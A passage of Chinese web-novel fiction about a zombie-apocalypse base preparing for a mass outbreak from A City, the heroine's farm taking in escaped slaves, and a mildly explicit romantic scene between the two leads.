这种需要搜集信息打理各方关系的活儿对秦丰来说比跟矿山那群人吹牛要难得多,他靠着几瓶酒能笼络矿山几个有威望的士兵,但不可能长袖善舞到这个地步,能染指兰城的任务发布,所以,赵弋打算把他妈推荐的另一位给秦丰当秘书。
把最近的基地情况汇报完毕,赵弋听完也没什么要问的,摆摆手让他自己忙去,他要去听下一个任务汇报。
张克站在原地没动。
赵弋抬头:“?”
“我的秘书在哪?”
“……”
秦丰都有,他不能没有吧。
“之后人事部会给你安排,等着吧。”
“我不要女秘书。”
“……”
竟然还挑起来了。
赵弋额头青筋狂跳,“回去等通知。”
“反正我不要女秘书,我老婆不让。”
“滚。”
张克这才撇撇嘴出去了。
紧接着骨头带着个小队队长进来,咋咋唬唬捞起他桌子上的水杯去给自己倒了杯水,指挥旁边刚上任没多久的小队队长自己汇报。
队长磕磕巴巴开口:“我们在十月三日去阳县东边……”
“讲重点。”
“哦哦,有一波从A市逃过来的人想要加入我们,但是后来知道我们是兰城的又跑了……”
“重点。”
“重点?就是A市还有活人!”
赵弋忍无可忍看向骨头:“你怎么培训的?!”
骨头咕噜噜喝完水,“A市这批人还在观望,他一个小队队长招安不了,恐怕得赵队你去一趟,对方有四五十人,男女老少都有,说是从前在A市生活,但是最近不知道为什么A市丧尸跑了出来,他们伤亡惨重才逃到这边,至于为什么对兰城这么忌惮……我就不清楚了,可能跟兰城那边有关系。”
赵弋眉头一皱,“A市破了个口子是什么意思?派人去看过吗?”
“太远了,真的,开车都要一个多小时,而且那部分地区我们根本就没去过,还不清楚有没有其他人在。”骨头也十分头疼。
“所以放任不管?A市三千万丧尸跑出来是什么后果你想过吗?”
骨头:“……不至于吧,好歹隔着上百公里呢。”
丧尸就算是跑出来,也不会那么凑巧朝着他们阳县来吧。
赵弋更头疼了,“归拢新一批士兵后,选几个靠谱的小队队长先接替阳县兰城之间的探险任务,A市方向你做好准备,让周霓从农业部暂时出来……”
骨头咽了口口水,有点紧张了,“要原队出任务?”
“另外挑八个人,组两支队伍,我安排完阳县的事务就出发。”
“八个人?时枌不来啊?”
“她很忙。”
骨头表示理解,“行吧。”
“天气会越来越冷,现在阳县周围没有围墙,等到冬天,周围都没有电也没有人气,那群饿了十几年的丧尸跑出来肯定是第一时间寻找有温度有活人的目标,你看看这附近有其他人类聚集区吗?”
骨头:“……”
真没有。
就他们阳县。
所以三千万丧尸真的跑出来,会往哪跑?
骨头跟小队队长一阵胆寒,“那这个消息……”
“我会处理。”
他当然会通知兰城,同时申请一批物资补助。
毕竟如果丧尸来了,阳县是首要目标,阳县如果没了,那还有谁?
第125章 第125章人饿的时候,真的什么……
A市的消息很快就传遍了整个阳县基地。
尽管大家都知道A市离得远,但还是会忍不住想,那可是三千万丧尸,万一真的跑出来……
要知道兰城也就二十万出头的人口,都已经拥挤得不行。
三千万,完全是个天文数字。
目前阳县到兰城之间这段路他们尚且不能保证完全安全,A市又出了问题,从阳县到A市这一段,又如何保证安全呢?
在基地中接受训练的士兵第一时间想到了自己。
这种任务都是交给他们探险小队做的,尤其是这种新地区、高危地区的探险任务,甚至可以在兰城作为A级或者S级任务伴随着巨额奖励发布。
钱是真的多,但也是真的危险。
骨头去基地挑人的时候就被一群熟人围住,问他要选谁去,言语之中充满恐慌。
骨头一脸莫名其妙:“啊?找谁?赵队亲自带队出发,找谁也不可能找你们这群菜鸟啊。”
一群新兵:“……”
放心了,但自尊受到了深深的伤害呢。
说完骨头就去找张克商量挑人的事,自然都是要精英中的精英,好在他赵队有人脉还有个好爸爸,这次真的给他送来了一批老兵,甚至包括一个兰城的高级指挥官。
说实话,看见这人的时候骨头都惊呆了。
兰城高级指挥官这么泛滥了吗?还舍得往阳县送。
人家也很坦诚,见面就跟他说清楚了原委:“之前给南区司令姚山干脏活,最近南北吵起来了,几乎撕破脸皮,我成了炮灰,本来是要判流放的,幸好赵将军赏识。”
说完人家还嘿嘿一笑,笑容十分淳朴。
骨头肃然起敬。
能给姚山干脏活的,那肯定是精英啊!
至于人家以前干的什么脏活,骨头最近几个月情商都涨了不少,硬是憋着没问,直接邀请他加入他们小队,并且说明A市的情况。
“行,我初来乍到,也应该尽自己的一份力。”
这人竟然还很好说话。
“哦对,赵队跟你说
了吗?“他像是忽然想起什么,看了看周围。
骨头一下就理解了。
着周围太多人,不好说话。
“你想找赵队说话?”
“他可能比较忙,但是你说你们马上要去A市,所以我想这件事挺要紧的……”
他说话语气倒是很轻松,骨头都以为是什么小事,但看在这人曾经“高级指挥官”的身份上,他还是让人领着他去了赵队办公室。
紧锣密鼓地安排新人干活,骨头一脸几天脚不沾地,也只是凑齐了五个能够得上S级任务标准的人,这五个人当中自然是包括那个高级指挥官。
他都不好意思跟赵弋交代,抓耳挠腮地想办法,好不容易把周霓从养猪场揪到训练场,骨头灵光一闪,偷偷给时枌发消息说明情况。
时枌大概是在忙,没有立刻回复消息。
***
“你们愿意去阳县吗?”
时枌记得自己跟赵弋一群人第一次见面时的场景,她以为是外来人入侵,直接拿枪抵着人脑袋,几乎是威胁。
但跟人接触的越多,时枌也渐渐明白人心难测,却可以在安全前提下好好沟通,给彼此双方都留下余地。
比如这次,她挎着枪从树后走出,身边虎子也安分守己,对面无人被她突然出现吓得掏出菜刀立刻戒备,反应过来后,双方就能安然坐下,生火烤兔子吃。
兔子是虎子去叼来的,只有两只,一共六人勉强能分一下。
他们看上去已经很久没吃好东西了。
“阳县太远了。”他们之中领头的一位稍稍年长的男人说。
他低头看了眼身边女人明显凸起的肚子,又补充了一句:“我们走不到。”
时枌于是提出第二个方案:“我住在这附近,你们跟着我往东走,几个小时就能到。”
怀孕的女人抬起头,眼睛里有了些许光亮,看向时枌。
她一身衣服已经脏得不能看,尤其是脸,不知道是刻意还是怎么抹了一层灰黑,但是看得出来个子高挑,一双眼睛清明。
她让时枌想起了白芳,因此对他们说话的语气也好了一些。
这大概就是赵弋说她“双标”,对于一些柔弱的、没有威胁的存在会格外心软。
“我所在的村子人比较少,几乎没有丧尸,但是因为太久没人居住,房屋需要修缮,你们的生存问题还是需要自己解决,田地里有剩下的棉花,田埂上或许还有一些碗豆花生之类,池塘里的鱼足够你们过完这个冬天,想要吃肉也可以上山狩猎。”
“我们可以和平相处,互相交换资源,你们什么都没有,也能想办法给其他邻居帮忙,我们会给你们报酬。”
“但是,在我的地盘,决不允许抢掠他人资源。”
“可以理解,”男人点点头,“我方便问一句,村长是谁吗?”
另一个男人开口解释:“你放心,我们没有别的意思,我们之前所在的人类聚集区其实挺大,在西边,离这里特别特别远……但是那个地方……”
说到这,这个看起来个子挺高的男人竟然瑟缩了一下,露出的害怕的表情。
另一个女人接上了话头:“在那里没有用的人就是奴隶,就是交换的资源,我们可以被随意买卖。”
“我们是偷偷跑出来的,你放心,我们跑了将近一个月了,他们不可能为了我们五个奴隶派人来追杀,不会给你添麻烦的。”男人说道。
时枌明白了。
难怪这几个人身上一把枪都没有,而且瘦瘦的,看见兔子都狂流口水。
有点弱,但是没关系,她现在就是缺人,人多了才更有机会建立防线,有更多的人来巡查。
“你们很幸运。”时枌说。
男人苦笑:“本来我们有十三个人的。”
时枌沉默半晌,“你们想先休息还是连夜出发?”
“现在出发吧,这树林看起来不安全。”那位孕妇说。
时枌看了眼她的肚子,领头的男人也低声询问她的身体状况,她坚持要现在出发,一群人分了兔子,边走边吃。
回到农场的时候已经是深夜,虎子被时枌派去提前到池塘附近叫醒罗辉。
这种时候也顾不上打扰人家休息了。
时枌带着他们到的时候,罗辉跟余袅已经出来,在他们家马场前等着。
时枌简单介绍,几人也说了名字以及他们之间的关系。
阿奇是他们之中年纪最大的,也是孕妇十三的丈夫,另外三人曾经都是奴隶,名字也都是编号。
“这附近的空房子你们可以挑一挑,找合适的住下,”时枌说,“你们毕竟人多,我们互不认识,就不邀请你们来我们家了。”
阿奇连忙表示可以理解。
时间太晚,罗辉带着他们去看住处,等他们走后,余袅问时枌要不要今晚留在他们家住一晚。
她的意思是顺便商量一下该怎么跟新来的这些人相处。
“不用,离得近,我回家方便一些。”
“那吃个饭吧?家里还有烙饼。”
说道烙饼,时枌就很难拒绝了。
她腼腆一笑。
余袅就拉着她进屋去,她给她热饼吃,还放了许多牛肉碎,加了个鸡蛋,时枌连忙说不用不用,才只加了一个鸡蛋。
两人在厨房商量着,“我们这里现在缺的就是人,马上就是冬天了,大家得时不时出去看看有没有陌生人接近,但是两家人太少。”
真的太少了。
而且余袅家还有两个小孩子,必须要留大人在家,而赵弋在阳县还有工作。
他们这里又是马场又是田地,很难不被人觊觎。
“我明白,而且我看他们几个也不像坏人。”余袅说,“今天毕竟是第一晚,要不我给他们送几个饼过去?”
“也不一定,我明天安置完他们就会带一个人出去跟着我一起巡查,你明早送饼,也观察一下他们。”
余袅点头表示明白。
“互不了解之前,还是不要让烈烈和阳阳跟他们接触。”
“嗯。”余袅也点头。
“送饼就够了,不要太热情。”
人是会被惯坏的。
余袅就笑,“我知道的。”
时枌等罗辉回来一起商量过后才回家休息一晚,第二天去阿奇他们家,余袅送饼,她去挑人一起巡查。
“这是我们这里的规矩,尤其是现在冬天了,很多外来人。”时枌平白无故就造了条村规,“当然是有危险的,不过我会保护你们。”
这话一出,十三首先明白过来,阿奇随之走了出来,“我跟着你去吧,既然决定要在这里定居,我们也需要出我们的一份力。”
他自己走出来肯定比时枌挑面上要好看的多,时枌很大方地给了他一把手枪,跟其他人告别,出门继续巡查。
把农场周边都走了一圈,清理了丧尸,倒是没再遇到其他人。
阿奇也说,他从西方过来的时候翻山越岭,真的没碰到什么活人,他们意外出事的八个人要么就是被丧尸感染要么就是饿急了想要吃肉被他们无奈用石头敲碎脑袋。
“人饿的时候,真
的什么都能吃得下去。“阿奇无奈苦笑。
时枌长这么大从来没有过温饱问题,不能跟他们共情。
巡查结束,时枌对阿奇这个人也有一些了解。
可能是常年被关着,他身体不算强壮,但好在底子不错骨架比较大,不会用枪,时枌教了之后瞄准也很难,——比烈烈差多了,看得出来之前没有任何基础,性格方面稍显懦弱,但又不乏勇气,毕竟他是第一个站出来主动跟她出来巡查的,过程中遇到危险也没有尝试逃跑。
回农场的路上,时枌收到了骨头发来的消息。
看见消息时枌还以为自己看错了。
三千万?丧尸?
做成肥料得种多少地啊……
第126章 第126章“现在的情况就是这样……
回到农场后,阿奇把手枪还给了时枌,她跟着阿奇去了他们的新家。
最终选定的屋子也在池塘附近,是一个一层楼的小平房,但是占地面积挺大,房间多,围墙比较完整,里面有猪圈,以后还能养点鸡鸭。
经过两天的休整,原本没有一丝人气灰尘漫天的房屋也变得干净整洁起来。
十三他们也换上了从屋子里翻出来的旧衣裳,洗干净脸,时枌才发现原来十三长得……这么漂亮。
是那种日历上的美人,眉眼都恰到好处地做了一丝媚,樱桃小嘴,身形纤细高挑,但跟周霓一样有肉的地方一点都不少。
难怪之前要故意弄脏脸,时枌心想。
十三出来迎接阿奇,其余三个人则是在打扫、劈柴,另一个女孩十一在剥豌豆。
应该是他们这两天去田埂上摘的豌豆,豌豆太多,时枌没时间去摘,余袅摘的时候也是尽量挑捡好的,其实还剩下了许多。
“可以留一些豌豆种子,明年开春在你们家附近种一些。”时枌出声提醒。
十一抬头:“谢谢,我知道了。”
时枌又看了看,发现他们衣服挂在门口,晾衣绳都没有,“山脚下有竹子,这边到山脚比较安全,不会有丧尸。”
砍柴的男人抬头:“嗯,我一会儿去弄。”
他们几人还挺勤劳,没有偷懒的。
十三跟时枌打完招呼,想了一圈也不知道该拿什么招待时枌,不好意思笑笑,问他们有没有什么需要帮忙,他们可以工作换取报酬。
时枌确实需要人帮忙。
“那边是我的农场,木栏围起来的是我的地盘,以及你们之前去摘豌豆的田埂,应该也看见田地了。”
“嗯嗯,看见了,打理的非常漂亮。”
时枌被夸得压不住嘴角,抿抿唇,才继续说:“田地里剩下的棉花你们可以随便摘,如果有剩下的玉米你们也可以摘,我已经收过了。”时枌继续道,“但是田地里的玉米杆跟棉花杆我需要人帮忙砍了收集好,用来当过冬的柴禾,那几亩地你们帮忙收,可以来我这边换食物。”
十一听见眼睛都亮了,“可不可以换小鸡崽?鸡蛋也行!我们自己孵!”
换资源第一时间想到的是换小鸡自己来养,说明他们不是目光短浅的人,时枌就更放心了。
“当然可以。”
“那太好了!”旁边砍柴的男人也说。
跟他们简单说了下她跟罗辉家地盘的范围,并且说明其他地方的食物他们可以自己去收割之后,时枌看了眼十三的大肚子,还是于心不忍,“我家里有一些旧衣服,你要不要跟我来取?”
十三:“可以吗?那我们那什么换?”
“先欠着吧,之后再说。”
“我这两天在学着钓鱼……”阿奇说。
“可以,反正是我穿不了的衣服,到时候再看吧。”
“对了,我们这里也算是阳县管辖,我跟罗辉他们家都注册了身份,之后会有阳县的人过来帮你们登记注册,有什么规矩他们都会跟你们解释。”
时枌带上十三回家一趟,十三看见她家整齐的院子还有牲畜满眼羡慕,一边跟她请教该怎么养这些牲畜。
时枌让她在一楼,可以去院子随便看看,她去二楼拿衣服。
她自己有一些以前的旧衣服,还有爷爷奶奶留下的衣服,之前在兰城周霓跟叶枝蔚给她买了太多,正好她也穿不过来,这些旧衣服不给他们也是放着积灰。
十三拿到衣服爱不释手,抱在怀里。
送十三出去的时候,时枌还是提了一句:“现在你们不是奴隶了,用编号做名字有点奇怪,要不你们抽时间给自己取个新名字吧?这样以后登记身份的时候也方便一些。”
十三怔愣半晌,而后点了点头,真诚道:“谢谢你。”
“我这辈子最幸运的事,就是遇到了阿奇。”
“第二幸运,就是遇到你啦。”
时枌被她说的更不好意思了。
时枌在家又待了一天,然后去了罗辉家跟他商量接下来一段时间请他帮忙照顾自己的农场,同时安排阿奇十三他们巡查任务,他们再用一些鸡蛋或者粮食作为报酬给他们。
“三千万丧尸……你一个人可以吗?”罗辉有些担心。
但是目前村里的情况,他如果离开,留下余袅跟两个孩子同刚来的五个人一起,他只会更担心。
“没事,阳县还有那么多人呢,就算阳县没了,丧尸离我们这里还有段距离,到时候我们撤退也来得及。”时枌说得轻松,还笑呵呵的。
罗辉深深叹了口气,他刚到这里也没有多久,但全家还有牛羊马匹都安定下来了,如果不是情况实在太危险,他真的不想再次搬家。
“那我就带着他们家的两个男人轮流巡查,以防万一。”
“嗯。这边交给你,还是老规矩,最近这段时间的鸡蛋鸭蛋鹅蛋你们就拿着吃吧,我估计去很长一段时间呢。”
“好,那你小心。”
安排好农场,罗辉借给她一匹马,简单温习了一下时枌就上路了。
马跟车比起来,就是……太颠。
是真颠啊。
颠得时枌早上吃的面包都差点吐出来,趴在马上更难受,更想吐,一直坚持到了阳县基地门口,远远看见门口安检的士兵,时枌为了面子直起身体,咬牙坚持,还非常帅气的在门口翻身下马稳稳落地,跟他们打招呼。
士兵惊讶:“时枌怎么回来了?”
“回来出任务赚钱啊。”时枌掏出身上的枪给他们安检。
就一匹马一把手枪,连个包都没带,士兵做做样子就让她进去了。
“赵队这两天在东边忙新基地的事,应该不在办公楼。”士兵提了一句。
新基地?
时枌抬抬手表示知道了,翻身上马,先去食堂,把马交给他们帮忙照顾,她才去训练场找骨头,结果没见到人,说是也去新基地了,时枌正愁怎么去新基地,张克听见动静走了出来,看见她似乎并不惊讶。
“去新基地?”他问。
时枌点点头。
“走吧。”
张克叫人安排了一辆车,他坐进驾驶座,时枌就在副驾驶门口犹犹豫豫。
张克冷笑:“怎么,瘸子不能开车吗?”
“……”
行吧,他非要开还能怎么办。
时枌默默上了车,第一件事就是给自己系好安全带。
末世了,谁坐车还系安全带啊。
张克瞥到她的动作,深吸一口气,闭紧嘴巴,压下吐槽的废话。
他跟时枌就是天生不对付,看见她就跟看见瘟神一样。
但是宋阡非常喜欢时枌,经常在他耳朵边念叨,说有时间想去时枌的农场看看。
不就是几袋枇杷几只小龙虾,呵,那可是他老婆,有证的那种。
上马路后,车还算平稳,时枌放心一半,开始问他现在阳县的情况。
聊正事,张克那颗被嫉妒占据的恋爱脑就正常许多。
“矿山抽调人手去了东边新基地,他们把战线往前推了十几公里,正在挖坑。”
“现在就是缺人,人太少了,不足以支撑这么大范围的工程,我们最近正在考虑要不要招普通居民来帮忙。”
时枌沉思片刻,“那这十几公里之间是完全安全的吗?”
张克沉默一瞬,“并不是,我们还需要抽派小队在附近清理。”
“最近东边很不太平,除了莫名出现的丧尸,还有活人裹着丧尸的皮囊混在其中。”
因为这些人,他们最近小队伤亡概率比平时高了太多。
“我往兰城方向去了一趟,遇到了几个从西边过来的人,暂时安置在了农场附近,据他们说,西边没什么人,只有几个零散丧尸,我沿途也没发现活人踪迹。”
张克听明白了,“他们知道阳县到兰城这一段经常有军队出入,所以绕路往东来了,这个方向离源城也更近,只是全是平原,太开阔,所以他们只能继续往东,说不定就碰到了A市,Gypsy那群人最拿手的就是利用丧尸隐蔽自身……”
“有没有可能请求兰城支援呢?”
张克摇摇头,“兰城目前……有点乱……”
他们从非年,也就是通过赵将军关系送过来的高级指挥官口中得知,兰城内部南北基地之间出了问题 ,此前一直都是严老头跟姚山东南两位司令之间不和,一个激进派一个保守派为兰城未来规划吵得不可开交,但从阳县之后,东南两位一起合作关系缓和,似乎达成一致。
“北区基地只对城主府忠诚,他们负责城内还有城主府的安全,”张克不知道时枌懂不懂政治,但看她皱着眉头认真思考的模样还是多说了两句,“这次是北区故意挑事,试图染指新工厂的建设,姚山这个人领地意识很强,不喜欢别人干涉他的工作,所以发生冲突,结果就出了意外,北区司令的一个儿子,死在了姚山手里。”
在兰城那个判死刑都能唧唧歪歪吵破天的地方,不是因为病毒感染,光天化日被军官爆了头,北区司令脸都没了,告到城主府,意料之外,向来不怎么管事的城主,竟然插手了。
“这是他们私人恩怨,关他们手底下的兵什么事呢?”时枌问。
张克被噎了一下。
“但是人手里有了权力,就有了公私不分的资本。”
“那他们的兵也愿意?”
“……谁也不知道他们愿不愿意。”
“放着三千万丧尸不杀,他们要自己人打自己人?”
张克苦笑,“现在的情况就是这样。”
时枌撇撇嘴,无所谓道:“想个办法,让丧尸绕路,直接去兰城吧。”
“……”
这个提议,他从另一个人口中也听到过。
第127章 第127章赵队比红枣补吧?
因为实在太仓促,新基地还没有取名字。
东边面对平原的有一片荒废的田地还有几栋老房子,离居民区太远,开荒计划还没规划到这边,原本周围连个活人都没有。房子跟房子之间还隔得特别远,来往不方便,根本不适合他们办公,优点就是平地多的是,方便就地扎帐篷。
找了一栋稍微大点、位置还不错的房屋作为中心办公地点,周围扎帐篷驻军,还有一堆刚从矿山调来的挖掘机正在准备出发前往前线施工。
他们需要在十几公里外的地方挖一条“防火带”,也就是一条大坑,等A市丧尸过来就会直接掉进坑里,算是第一步削弱丧尸的规模。
他们并不知道具体被放出来了多少丧尸,所以赵弋也没给他们留余地,直接按照三千万来算,第一条防火带只能解决非常小的一部分,坑会被丧尸填平,它们会踩着同类的尸体跨越,所以需要第二条、第三条……——这是在完全由阳县面对这些丧尸的情况下的应对措施。
赵弋有planB,甚至有C,需要根据现场情况抉择,所以他根本离不开前线。
好消息是,因为三千万丧尸的到来,一盘散沙的阳县内部几乎是立刻就团结起来,不用他渗透,发电厂的负责人就主动提供帮助,安排技术人员把他们新基地的电给通了,甚至还分出一部分人来配合他们,相应的,招收一批居民去发电厂工作作为补充。
赵弋也顺势安排了自己的人。
这时候也顾不上什么你的人我的人了,发电厂负责人是个胖子,本来就身体虚,被丧尸消息折磨得天天冒汗,快入冬了,他衣服一件一件被汗渗透,恨不得自己去前线了解最新信息,又担心自己被丧尸碾成肉泥。
毕竟是三千万,三千万啊,他们阳县加起来有没有三千人口?就算每个人都当士兵用,一个人也要杀一万个丧尸,——真当他们都是赵弋啊?
像赵弋这样的屠杀机器整个兰城也找不出第二个,更何况,就算有作战服的防护,也并不是百分百不会被抓伤的,总会有万一,比如头盔与衣服之间脖颈的间隙,力竭时被丧尸围堵扯断手脚……光是想想他这个胖子就带着肥肉瑟瑟发抖。
目前来看,整个阳县就是赵弋说了算。
他说让矿山停工,瘦竹竿就不敢不停,亲自把挖掘机跟工人送上门来。
新基地几乎搬来了将近一半的原基地士兵,原基地空出来用来训练新兵以及安置巡查的士兵跟新挑选的居民,精兵强将都在这里了。
阳县事务赵弋也交给了副官来办,现在跟在他身边的是林浓。
刚来阳县就碰到这种危机,林浓跟打了鸡血似的比他这个未婚的加班都厉害,甚至赵弋就忍不住拐着弯问他:“您就不需要回家陪老婆孩子吗?”
林浓只是笑笑,“这种时候我当然要在前线发挥我的作用,我只有站在这里,他们才能安心。”
赵弋就不再说什么了。
新基地接下来的工程安排都定了下来,林浓在这里把控全局,至于那个最难啃的骨头:探查前线消息、揪出丧尸里的疑似操控丧尸群的活人这种S级任务,只能赵弋亲自带队出发。
他是兰城高级指挥官之一,执行的任务无数,每个S级任务发布第一时间大家想到的只有他,带领的小队存活率最高,哦对,还有他是赵将军独子这个身份加持,那些士兵都以加入他的小队为荣。
但这次任务非比寻常,秦丰在阳县里挑了半天,还是只凑齐了十二个人,一般队伍是七人,凑不齐两组队,只能缺胳膊少腿,勉强分了两组。
赵弋带着张照照叶枝蔚还有新加入的非年以及一个新人负责接近A市找到A市缺口,看是否能给它堵回去,其次就是查清这次A市具体情况。
秦丰跟骨头周霓带着四个新人组成另一队,负责维护前线挖防火带工人的安全,并且带着其他小队清理周围丧尸以及可疑活人,给哨塔的施工争取时间。
帐篷内,两队人集合商量着作战计划,林浓忽然进来,脸色挺难看。
“有话直说。”赵弋开口。
“矿山那边的炸药都拿过来了,但是兰城得知矿山停工的消息停止了弹药供应,”林浓说,“我们现在的储备,可能不足以应付这么多丧尸。”
非年侧头看了赵弋一眼。
赵弋看着挺镇定,“意料之中,先集中弹药武器,经历防火带后会有部分丧尸跑过来,叮嘱大家尽量节省弹药,用刀解决,三人一组,互相照顾。”
“但是我们甚至没有足够子弹,重机枪都只有三挺,根本不够组建防线。”
“围栏呢?”
“正在做。”
“那就把能办的事情办好。”赵弋挑眉,“我们明天出发,我的子弹可以减半。”
林浓抿抿唇,“我再想想办法联系兰城那边。”
说完他就出去了。
这位新上任的行政部部长在办公室坐了没几个小时就来了前线负责资源调配人员安排,忙的风生水起脚不沾地,但事情难办也是真的难办,他又不回家,好几个晚上都没能睡着。
林浓刚出去,帐篷内几人就看向赵弋,每个人脸上多多少少都带着担忧。
这种时候,身为队长赵弋当然要说些什么鼓舞士气,刚准备开口,帐篷帘子又被人掀开。
赵弋好脾气地咬牙看去。
一个毛茸茸的时枌脑袋冒了进来,好奇看着围成一圈的他们。
赵弋几乎是立刻想收起自己这副欠揍的表情,又惊讶又高兴,几种情绪让他脸都僵硬,脑袋死机,甚至伸手搓了搓已经冒出胡茬的脸。
“枌枌!”周霓尖叫出声,跑过去抱着她扯着嗓子开始诉苦:“嘤嘤嘤我在养猪场干的好好的你家队长非得让我来前线——”
时枌拍拍周霓肩膀表示安慰:“没事啦没事啦,我来帮忙了。”
叶枝蔚也走了过来,“你的农场怎么办?”
“老规矩,罗辉会帮忙照看的,我还招揽了几个新人呢,放心吧。”时枌挺起胸脯很骄傲地说,“你们记得忙完过去帮人家登记身份哦。”
“你把农场里给新人,不怕被他们吃光了?”张照照接话。
被骨头一巴掌捂住嘴:“呸呸呸。”
秦丰一脸担忧:“那些猪没问题吧,我还等着忙完去帮忙杀猪。”
赵弋还在长桌后边,身边站着几个陌生面孔,目光却始终在她身上。
时枌跟他们寒暄完 ,就朝他笑笑:“队长,我可以归队吧?三千万丧尸呢,就是三千万积分,这一票干完都够我养老了。”
周霓:“……枌枌心态真好。”
“脚恢复好了?”赵弋问,只是声音有些低,不知道是压着什么情绪。
“恢复好了,我刚把我农场附近巡查完。”
“行,你跟着我。”
“听你们说缺枪缺子弹?”
时枌在帐篷外的时候听了一嘴。
赵弋压下眼皮,那表情明显是不赞成她这时候提这个。
但时枌可不管他怎么想,“我家里有存货,着急的话可以现在派车跟我去取,还有两挺重机枪。”
非年惊呆了。
这年头哪个好人家能藏两挺重机枪啊。
“哦对,还有一个迫击炮。”
非年:“……”
秦丰:“从阳县仓库搬的那个?”
“是啊,放我家用不上,不过现在正好。”时枌耸耸肩。
叶枝蔚也皱眉,不太赞同,低声对她说:“那是你的东西,现在拿出来……”
周霓也意识到,“对对对,你吹什么牛,你家怎么可能有这种好东西!”
“……用用呗,放着也是积灰,再说阳县要是防不住,我的农场怎么办?”
大家就都沉默了。
“算借的,清点好,以后会还给你。”赵弋说。
“行。”
刚出去的林浓又被叫进来,安排车辆跟时枌一起去农场。
时枌才刚到,她要参加这次任务,还需要了解情况,就由叶枝蔚跟秦丰去她家搬,反正他俩时枌很放心,叶枝蔚细心,有秦丰在镇场子也不怕出事。
“我在食堂那边留了一匹马,你们记得带回去还给罗辉哦。”时枌提醒了一句。
于是秦丰是骑马去农场的,回来咬牙切齿说差点给他蛋蛋颠碎。
他们一来一回的时间,时枌已经听完了这次任务详情,拿到了自己的作战服跟头盔。
赵弋教她穿好简单适应一下,跟她讲清楚这些东西有什么用,还换上了新的卫星手表,跟他手腕上的一模一样。
“和之前的很不一样诶。”时枌新奇道。
“嗯,我爸帮忙弄的最新款,”赵弋替她拆腰带,现在只是试穿,他们明天晚上才会正式出发,身边还站着个没眼色的非年,赵弋瞥了他一眼,继续温声跟时枌说话:“你也不用这么积极,阳县虽然缺弹药,但情况没那么糟。”
非年摸摸鼻子,轻咳两声,说了句有事要办就出去了。
于是帐篷里就剩下他们两人。
这作战服太合身,跟时枌平时穿的衣服差别很大,她总觉得膈应不舒服,脱的时候一直动来动去。
“别乱动,贴身是为了保护你,这个材质防刺防抓,稍微钝一些的刀也划不破。”
她是穿着自己的衣服再套进去的,当然会觉得不舒服。
“哦。”时枌乖乖应了一声,继续解释:“我拿出我的东西,也不仅仅是因为我大方善良。”
自己说自己大方善良,赵弋都笑了。
“阳县很好,郊外田地里我带人播了种子,还等着明年收成,基地的那些士兵都很好,食堂大爷大姨也很好,每次我去都多给我肉,我希望他们能活下来,田地也不要被破坏。”她认真道。
“我知道……算了,”赵弋轻叹口气,“我爸派非年过来,就是刚刚拄在那的人,也是给我送了一批东西的,非年帮忙安置到基地后山了。”
“啊?什么好东西?”
“你身上穿的作战服,几挺重机枪,还有一些子弹之类的。”他语气很无所谓,一边拉着她袖子帮忙脱下来。
这衣服是连体的,确实很难脱。
“……”时枌就沉默了。
早知道她就不出这个头了。
“但是你说了是借对吧?以后阳县会还给我的是吧?”她仰头看着他,一双眼睛眨巴眨巴渴求肯定回答,模样甚至有几分可怜。
赵弋捏捏她脸颊,顺势托着人下巴,来阳县这段时间都没怎么笑过的眼睛此时蓄满了笑意,与她对视,“放心吧,阳县不够还,我会让我爸还给你的。”
啃老嘛,一回生二回熟。
时枌这才松了口气。
她抱着他的腰,“还好你有个好爸爸。”
赵弋看她靠过来就松了手抱着她,“嗯,其实我妈也不差。”
至少他妈给他送的人都很好用,一来阳县就跟上了发条似的,埋头就是干活,生怕自己来吃干饭丢了唐女士的脸。
时枌抬头摸摸他下巴,嘀咕:“长胡子了,好像有点难看了。”
他这张脸还是很能看的,下巴到鬓角长了一圈胡茬,就显得沧桑了些,比平时看着年纪更大,向罗辉靠拢了倒是。
赵弋:“你也不想想阳县条件有多艰难。”
他每天起早贪黑的,还重新捡起了营养液,根本没时间吃正经饭。
“辛苦你了。”时枌怜爱地捧着他脸,不嫌弃地亲了他一下,鼻尖碰了碰,手指被他长出来的胡茬扎得有些痒,但是摸久了似乎又觉得……挺带劲。
身边都是她的气息,赵弋原本焦躁的情绪都被抚平,神经放松,闭了闭眼,凑过去亲亲她,感受柔软的唇瓣。
也挺久没亲近了,他有点想。
但此时显然不是好时机。
他手扣在人脑后顺了顺,深呼吸平复心情,“现在大家都只能住帐篷,今天你跟周霓她们睡一起。”
“好的,我会服从安排的。”她认真道。
“也不用那么服从。”
赵弋白天肯定是有事要忙的,出任务之前还要处理新基地的事务,因为一切才刚开始,大事小事都需要他抉择,但是到了晚上,赵指挥有了自己的休息时间,用山上枣树把刚洗完澡准备睡觉的时枌钓了出来,他拽着她上山,手心攥了两个枣子在衣服上擦了擦递给她。
阳县确实多枣树,之前他们就见过,只是没想到东边竟然也有,还有好多几层楼高的板栗树,树下掉满了开口的板栗,时枌用脚踩开,扒拉一颗咬开,尝到清甜的生板栗。
她把另一半递给他,让他尝尝。
赵弋却拉着她的手,滚烫的吻落在手腕内侧。
“……”
她还有什么不明白的呢。
只是这地方……也太野了。
她有点拘谨,神经都紧绷起来,一点点风吹草动都让她立刻紧张,赵弋就会在她耳边作妖,低沉的嗓音像是要钻进她耳朵里面去,温热的气息带着耳朵都开始发痒,“别怕,进得去。”
手攥着人肩头的衣裳,时枌硬是咬牙,没泄出一丝,就算他来亲吻,试图撬开,她也不肯,还会生气地拿腿蹬他,赵弋就好脾气地握着人小腿肚子安置在自己腰后。
她不愿意出声,只好由他来助兴。
时枌会看月亮判断大概时间,一身热汗后,她仰头看着明晃晃的弯月,脸似乎更红了,推搡着下面男人的身体,命令:“出去。”
他餍足地贴着她颈侧放肆沉重呼吸,将人往自己身上拢了拢,“再等等,多久没见了。”
清泠泠的月光穿过树叶落在她胳膊上,一片片莹白的光斑像是被风吹过搬晃动起来,一阵一阵,周围却安静得很,那风只吹这棵树。
她手掌抵着人厚脸皮,积累太多的脑子都快没办法思考,手腕又被他捉着啄吻。
光斑晃了许久才停。
他抱着她去池塘边用自己脱下的短袖简单清洗,拧干,擦干净,轻抚着人后背平复呼吸,问她:“留不留胡子?”
时枌就抿抿唇,很不想回答这个问题。
他就在她腰下拍了一下,时枌骤然直起身体,瞪他。
“留不留?”
“不留!”她咬牙,蹭得她很痛的好吧。
“真的?看你挺享受。”
“……”
“而且没伤到,就是有点红。”刚刚检查过了。
“闭嘴吧。”时枌不想听他说这些。
